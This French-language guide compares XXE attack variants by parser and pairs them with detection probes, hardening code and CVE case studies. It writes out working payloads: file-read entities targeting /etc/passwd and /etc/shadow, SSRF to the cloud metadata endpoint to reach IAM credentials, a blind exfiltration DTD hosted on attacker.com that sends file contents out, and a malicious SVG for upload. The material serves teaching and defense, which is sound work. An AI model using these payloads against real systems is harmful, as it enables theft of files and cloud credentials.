Vue comparative XXE (CWE-611) : divulgation de fichiers, SSRF, OOB aveugle, XInclude, upload DTD — comportements par parseur et signaux de détection.
TL;DR
<xi:include> fonctionne quand <!DOCTYPE est bloqué ; nécessite setXIncludeAware(false) séparé en JavaL'injection d'entité externe XML (XXE) n'est pas une technique d'attaque unique mais une classe de vulnérabilités découlant d'une cause racine commune : des parseurs XML qui résolvent des ressources externes — fichiers, URL, services internes — lors du traitement d'un XML contrôlé par l'attaquant. La spécification W3C XML inclut plusieurs fonctionnalités permettant cela : les entités externes DOCTYPE, les entités paramètres pour la composition DTD complexe, et XInclude pour l'assemblage de documents. Chacun de ces mécanismes peut être exploité indépendamment, créant cinq variantes d'attaque distinctes avec des charges utiles différentes, des prérequis différents et des paramètres de parseur différents requis pour la prévention.
Comprendre les différences est crucial car les équipes de sécurité durcissent souvent contre une variante tout en laissant d'autres pleinement actives. La lacune la plus courante est de désactiver les entités basées sur DOCTYPE tout en laissant le traitement XInclude activé — CVE-2025-31200 (LibreOffice, CVSS 7.1) en est l'exemple réel canonique. Une deuxième lacune est de durcir les endpoints d'API XML directe tout en laissant les processeurs de fichiers téléversés (acceptant SVG, docx, xlsx) non inspectés.
Le XXE apparaît dans OWASP A05:2021 (Mauvaise configuration de sécurité) parce que chaque instance est un parseur livré ou déployé avec des paramètres par défaut non sécurisés et jamais durci. Ce n'est pas une vulnérabilité logique — le parseur fait exactement ce que la spécification permet. Le correctif est une configuration, pas des modifications du code applicatif.
Le fil conducteur de toutes les variantes : le parseur XML effectue une requête réseau ou système de fichiers initiée par du contenu contrôlé par l'attaquant. La prévention nécessite d'éliminer la capacité du parseur à effectuer ces requêtes, pas de filtrer le contenu des requêtes.
| Variante | CWE | Prérequis | DOCTYPE requis | OOB nécessaire | CVSS typique |
|---|---|---|---|---|---|
| Divulgation de fichiers classique | CWE-611 | API XML, contrôle document complet | Oui | Non | 7.5 |
| SSRF via XXE | CWE-611 | API XML, accès réseau depuis serveur | Oui | Non | 8.2 |
| XXE OOB aveugle | CWE-611 | API XML, sortie serveur | Oui | Oui | 7.5–8.3 |
| Injection XInclude | CWE-827 | Contrôle XML partiel (position corps) | Non | Non | 7.1–7.5 |
| Téléchargement DTD | CWE-611 | Upload fichier (SVG/docx/xlsx/ODT) | Oui (dans fichier) | Non | 7.0–9.4 |
Différents parseurs XML ont des comportements par défaut et des API de configuration différents. Comprendre le comportement spécifique à chaque parseur est essentiel pour l'attaque (savoir quels parseurs sont vulnérables) comme pour la défense.
| Parseur | Entités externes par défaut | Désactiver entités externes | Désactiver XInclude |
|---|---|---|---|
| Java Xerces/JAXP | Activé (avant durcissement) | setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) | setXIncludeAware(false) |
| libxml2 (C/PHP) | Activé avant v2.9.0 ; désactivé par défaut v2.9.0+ | Ne PAS passer LIBXML_NOENT (ce flag active la substitution d'entités malgré son nom trompeur) ; pour PHP 8.0+ utiliser libxml_set_external_entity_loader(null) | Drapeau XML_PARSE_XINCLUDE séparé |
| MSXML 6+ / .NET XmlReader | Activé par défaut | VBScript/JScript : définir ProhibitDTD = true ; .NET : définir XmlResolver = null sur XmlDocument ou DtdProcessing = DtdProcessing.Prohibit sur XmlReaderSettings | Non supporté nativement |
| Python lxml | Activé avec resolve_entities=True | XMLParser(resolve_entities=False, no_network=True) | Ne jamais appeler .xinclude() sur contenu non fiable |
| Python xml.etree | Sûr contre XXE (lève ExpatError sur les entités externes ; ne les résout PAS) — vulnérable au DoS Billion Laughs | Utiliser defusedxml pour protection complète (bloque aussi le DoS) | N/A (pas de support XInclude) |
| .NET XmlDocument | Activé par défaut | XmlResolver = null + DtdProcessing = DtdProcessing.Prohibit | Non supporté nativement |
| Node.js fast-xml-parser | Désactivé v4+ ; activé v3 | v4+ sûr par défaut ; v3 : processEntities: false | Non supporté |
| PHP SimpleXML/DOM | Activé (backend libxml2) | libxml_set_external_entity_loader(null) (PHP 8.0+) | Drapeau LIBXML_NOXINCNODE |
La variante la plus simple. L'attaquant contrôle un document XML complet avec DOCTYPE et injecte une entité externe générale pointant vers un fichier local :
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>Le serveur reflète le contenu de l'entité dans la réponse HTTP. Nécessite une réflexion en bande — si l'application traite le XML en interne sans retourner les valeurs d'entités, cette variante échoue et l'OOB aveugle doit être utilisé.
Cibles à haute valeur au-delà de /etc/passwd : /proc/self/environ (variables d'environnement d'exécution), /proc/self/cmdline (commande de démarrage de l'application), fichiers de configuration de l'application (/app/.env, config.yml, database.yml), clés SSH privées (/root/.ssh/id_rsa).
Voir Divulgation de fichiers classique pour la bibliothèque complète de charges utiles.
Remplacer l'URI file:// par une URI http:// pour pivoter du XXE vers la falsification de requête côté serveur (SSRF) :
<!DOCTYPE foo [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role">
]>
<root>&ssrf;</root>Le parseur XML effectue une requête HTTP GET vers l'URL cible et substitue la réponse comme valeur d'entité. AWS IMDSv1 (sans jeton requis) est la cible canonique. IMDSv2 nécessite une requête PUT préalable avec un en-tête X-aws-ec2-metadata-token-ttl-seconds — les entités générales XXE ne peuvent pas envoyer d'en-têtes personnalisés, donc IMDSv2 offre une atténuation partielle.
CVE-2024-36522 (SAP BusinessObjects, CVSS 9.4) a utilisé le SSRF XXE pour traverser le réseau interne et atteindre des interfaces administratives non exposées en externe.
Voir SSRF via XXE pour les techniques de scan du réseau interne.
La variante la plus répandue dans les applications modernes. Le serveur analyse le XML et résout les entités, mais la valeur de l'entité n'est jamais retournée dans la réponse HTTP. L'exploitation nécessite une chaîne d'entités paramètres en deux étapes et une infrastructure de callback contrôlée par l'attaquant :
<!-- Étape 1 : charge utile livrée à la cible -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
%sp;
%param1;
]>
<root/><!-- exfil.dtd hébergé sur attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY % exfil SYSTEM 'http://UNIQUE.oast.pro/?d=%file;'>">
%exfil;Le serveur cible récupère exfil.dtd, lit /etc/passwd et effectue une requête HTTP vers le serveur Interactsh de l'attaquant en portant le contenu du fichier comme paramètre d'URL. La réponse HTTP de la cible ne contient aucun contenu d'entité.
CVE-2024-22024 (Ivanti Connect Secure, CVSS 8.3) — OOB aveugle dans le traitement des AuthnRequests SAML — a été exploité contre des concentrateurs VPN en production avant la disponibilité d'un correctif.
Voir OOB aveugle pour l'exfiltration DNS, l'exfiltration FTP (contournement WAF Java/Xerces) et les alternatives basées sur les erreurs lorsque la sortie est bloquée.
L'injection XInclude contourne complètement les défenses basées sur DOCTYPE. Au lieu de la syntaxe d'entité DTD, elle utilise des éléments W3C XInclude dans le corps XML — aucune déclaration DOCTYPE n'est nécessaire :
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>Cela s'applique quand un attaquant peut injecter du contenu XML dans une position de corps (contenu d'élément, paramètre de requête) mais ne peut pas contrôler le DOCTYPE. Cela s'applique aussi quand l'application bloque explicitement DOCTYPE tout en traitant XInclude — une lacune de défense courante.
En Java JAXP, disallow-doctype-decl=true ne désactive pas XInclude. setXIncludeAware(false) est un paramètre distinct et indépendant qui doit être configuré explicitement. CVE-2025-31200 (LibreOffice ODT, CVSS 7.1) est la preuve publiée la plus claire de cette lacune.
Voir Injection XInclude pour la technique d'énumération xi:fallback et les détails de configuration par parseur.
Les endpoints d'upload de fichiers acceptant des formats XML (SVG, docx, xlsx, ODT, WSDL) sont une surface XXE souvent ignorée. Ces formats sont des archives ZIP (docx/xlsx/ODT) ou des fichiers XML simples (SVG/WSDL) contenant des déclarations DOCTYPE :
<!-- SVG malveillant — soumis comme upload d'avatar/image -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg">
<text font-size="16">&xxe;</text>
</svg>Quand le serveur traite le fichier téléversé (génération de miniature, conversion de document, extraction de métadonnées, analyse antivirus via Apache Tika), l'entité DOCTYPE incorporée est résolue.
CVE-2025-66516 (Apache Tika, CVSS 10.0) — les pipelines d'ingestion de documents utilisant Tika pour l'extraction de contenu ont déclenché XXE via des formulaires XFA intégrés dans des PDF et des documents XML.
Voir Téléchargement DTD pour les techniques de manipulation docx/xlsx et les charges utiles spécifiques à Tika.
Une seule sonde avec un jeton Interactsh peut détecter toutes les variantes XXE simultanément lorsqu'elle est soumise aux endpoints d'API XML et aux endpoints d'upload de fichiers :
Charge utile canonique pour API XML :
<?xml version="1.0"?>
<!DOCTYPE x [
<!ENTITY % sp SYSTEM "http://VOTRE-JETON.oast.pro/xxe-api-probe">
%sp;
]>
<root/>SVG canonique pour upload de fichier :
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY % sp SYSTEM "http://VOTRE-JETON.oast.pro/xxe-upload-probe">
%sp;
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>Sonde XInclude (après qu'une sonde DOCTYPE retourne 400) :
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="http://VOTRE-JETON.oast.pro/xinclude-probe"/>
</root>Surveiller Interactsh pour les callbacks DNS et HTTP. Un callback DNS uniquement est POTENTIEL (confiance 0,30) ; un callback HTTP est CONFIRMÉ (0,75+) ; un callback HTTP avec contenu de fichier dans les paramètres URL est CONFIRMÉ ÉLEVÉ (0,98).
La prévention nécessite de durcir chaque parseur indépendamment. Le principe universel : désactiver la résolution d'entités externes et le traitement XInclude avant d'accepter du XML contrôlé par l'attaquant.
// Java JAXP — couvre XXE classique + SSRF + OOB aveugle + upload DTD
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false); // Drapeau SÉPARÉ — prévient l'injection XInclude
dbf.setExpandEntityReferences(false);# Python — defusedxml pour ElementTree ; lxml nécessite une configuration explicite
from defusedxml import ElementTree as ET
tree = ET.fromstring(xml_input) # sûr par défaut
# lxml — doit être configuré explicitement
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(xml_bytes, parser=parser)
# Ne jamais appeler tree.xinclude() sur du contenu non fiable// .NET — XmlResolver = null prévient toute récupération externe
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);<?php
// PHP 8.0+ — chargeur null bloque toute résolution d'entité externe
libxml_set_external_entity_loader(null);
$doc = new DOMDocument();
$doc->loadXML($xml);Lacune de défense : La plupart des guides de durcissement couvrent uniquement le XXE basé sur DOCTYPE. XInclude nécessite un drapeau de parseur distinct (setXIncludeAware(false) en Java, éviter .xinclude() dans Python lxml). Les processeurs d'upload de fichiers nécessitent le même durcissement que les endpoints d'API XML — Apache Tika, les services de conversion LibreOffice et les moteurs de rendu SVG ImageMagick analysent tous du XML en interne et nécessitent une configuration explicite.
CVE-2025-66516 — Apache Tika (CVSS 10.0, 2025)
L'extraction de contenu de documents Apache Tika, utilisée dans les plateformes de recherche d'entreprise, les pipelines RAG d'IA et les systèmes de gestion documentaire, a déclenché XXE via XML intégré dans des formulaires XFA de fichiers PDF et via XInclude dans certains types de documents. Les uploads de documents non authentifiés sont courants dans ces systèmes. Le score CVSS 10.0 reflète la large surface de déploiement — Tika est une dépendance transitive dans des milliers d'applications Java.
CVE-2024-22024 — Ivanti Connect Secure (CVSS 8.3, 2024)
L'endpoint SAML d'Ivanti traitait les AuthnRequests XML avec capacité XXE OOB aveugle. Le serveur effectuait des requêtes HTTP sortantes lors de la résolution d'entités paramètres dans des assertions SAML créées par l'attaquant. Combiné avec CVE-2023-46805 (contournement d'authentification), les attaquants ont réalisé un XXE OOB aveugle non authentifié contre des concentrateurs VPN en production dans le monde entier. Ce CVE est apparu dans le KEV de la CISA et a été exploité dans la nature avant le correctif.
CVE-2025-31200 — LibreOffice XInclude (CVSS 7.1, 2025)
L'exemple canonique de lacune de défense. LibreOffice avait bloqué le XXE basé sur DOCTYPE dans le traitement ODT. Le chemin de traitement XInclude était resté activé. Des fichiers ODT malveillants avec des éléments xi:include divulguaient des fichiers lors de l'ouverture ou du traitement par des services de conversion automatisés. Corrigé dans LibreOffice 25.2.3.
Le XXE OOB aveugle est la variante la plus courante dans les applications contemporaines. Les réponses d'API modernes ne reflètent que rarement les valeurs d'entités XML brutes — le XML est analysé en interne sans que le contenu des entités n'apparaisse dans la réponse HTTP. La plupart des vulnérabilités XXE réelles nécessitent donc des techniques hors bande (callbacks DNS ou HTTP via Interactsh ou Burp Collaborator) pour confirmer l'exploitation, et non la divulgation classique en bande.
L'injection XInclude (CWE-827) contourne les filtres qui bloquent ou désactivent les déclarations DOCTYPE. XInclude utilise des éléments XML qualifiés par espace de noms (<xi:include href='file:///etc/passwd' parse='text'/>) plutôt que la syntaxe DTD. Un parseur avec DOCTYPE désactivé mais traitement XInclude actif — une mauvaise configuration courante — reste pleinement vulnérable. CVE-2025-31200 (LibreOffice, CVSS 7.1) a confirmé cette lacune de défense.
libxml2 avant la version 2.9.0 (2012) résout les entités externes par défaut. Java Xerces/JAXP avant durcissement explicite résout les entités externes. PHP SimpleXML et l'extension DOM (basée sur libxml2) activent les entités externes sauf si libxml_set_external_entity_loader(null) est défini (PHP 8.0+). Python xml.etree.ElementTree ne traite pas les entités externes par défaut, contrairement à lxml qui le fait sauf configuration explicite avec no_network=True. Node.js fast-xml-parser v4+ désactive le DTD par défaut ; v3 et antérieures le permettaient.
Le SSRF via XXE fonctionne en définissant l'URI de l'entité externe sur une URL HTTP : <!ENTITY ssrf SYSTEM 'http://169.254.169.254/latest/meta-data/iam/security-credentials/'>. Le parseur XML effectue une requête HTTP GET vers l'URL et substitue le contenu de la réponse. Cibles principales : AWS IMDSv1 (169.254.169.254), métadonnées GCP (metadata.google.internal), Azure IMDS (169.254.169.254/metadata/instance), API Kubernetes interne (10.96.0.1:443), Redis (127.0.0.1:6379). IMDSv2 (nécessitant un jeton) atténue partiellement le vol de métadonnées cloud.
CWE-611 (Restriction incorrecte des références d'entités externes XML) couvre le XXE classique via les entités externes DOCTYPE et les entités paramètres. CWE-827 (Contrôle incorrect de la définition du type de document) couvre l'injection XInclude — un chemin de code connexe mais distinct utilisant des éléments W3C XInclude plutôt que la syntaxe DTD. Les deux entraînent une divulgation de fichiers et un SSRF, mais nécessitent des paramètres de parseur distincts pour être prévenus.
CVE récents clés : CVE-2024-22024 (Ivanti Connect Secure SAML, CVSS 8.3) — XXE OOB dans les concentrateurs VPN. CVE-2025-31200 (LibreOffice, CVSS 7.1) — XInclude dans le traitement ODT. CVE-2025-66516 (Apache Tika, CVSS 10.0) — XFA/XInclude dans les pipelines d'ingestion de documents. CVE-2024-40896 (contournement du gestionnaire SAX libxml2, CVSS 7.5) — applications croyant être protégées et résolvant encore des entités. CVE-2024-36522 (SAP BusinessObjects, CVSS 9.4) — endpoint SOAP XXE permettant la traversée du réseau interne.
Utiliser une séquence de sondes multivecteurs : (1) entité DOCTYPE avec un jeton Interactsh pour le classique/OOB aveugle ; (2) xi:include avec un jeton Interactsh pour XInclude ; (3) upload de fichier avec un SVG malveillant contenant à la fois DOCTYPE et xi:include pour le téléchargement DTD. Surveiller Interactsh pour les callbacks DNS et HTTP. Tout callback provenant de l'IP/ASN de la cible confirme au moins une variante.
Les endpoints JSON uniquement ne sont pas vulnérables au XXE classique. Cependant, les applications acceptant à la fois JSON et XML, traitant des enveloppes SOAP en interne, ou analysant des documents XML issus de fichiers téléversés par l'utilisateur (docx, xlsx, SVG, ODT, PPTX) restent vulnérables. Les endpoints d'upload de fichiers acceptant des formats structurés sont une surface XXE souvent négligée — tous les formats Office Open XML (docx/xlsx/pptx) sont des archives ZIP contenant du XML analysé côté serveur.
Le XXE en ligne injecte des entités directement dans un corps de requête contenant du XML. Le téléchargement DTD XXE fonctionne via des endpoints d'upload de fichiers acceptant des formats XML structurés : images SVG, documents Office docx/xlsx, fichiers de configuration XML, documents WSDL. L'attaquant crée un fichier malveillant (par ex. un SVG avec une entité DOCTYPE incorporée) et le téléverse via un formulaire standard. Le processeur côté serveur analyse le fichier et résout les entités, divulguant des fichiers ou effectuant des requêtes SSRF.
Pour Java : setFeature('http://apache.org/xml/features/disallow-doctype-decl', true) prévient le XXE classique, SSRF et OOB aveugle. EN PLUS, setXIncludeAware(false) prévient l'injection XInclude — drapeau distinct non impliqué par la fonctionnalité DOCTYPE. Pour Python : utiliser defusedxml pour toutes les opérations ElementTree ; pour lxml, définir no_network=True et ne jamais appeler xinclude() sur du contenu non fiable. Pour PHP : libxml_set_external_entity_loader(null) (PHP 8.0+). Pour .NET : XmlResolver = null et DtdProcessing = DtdProcessing.Prohibit.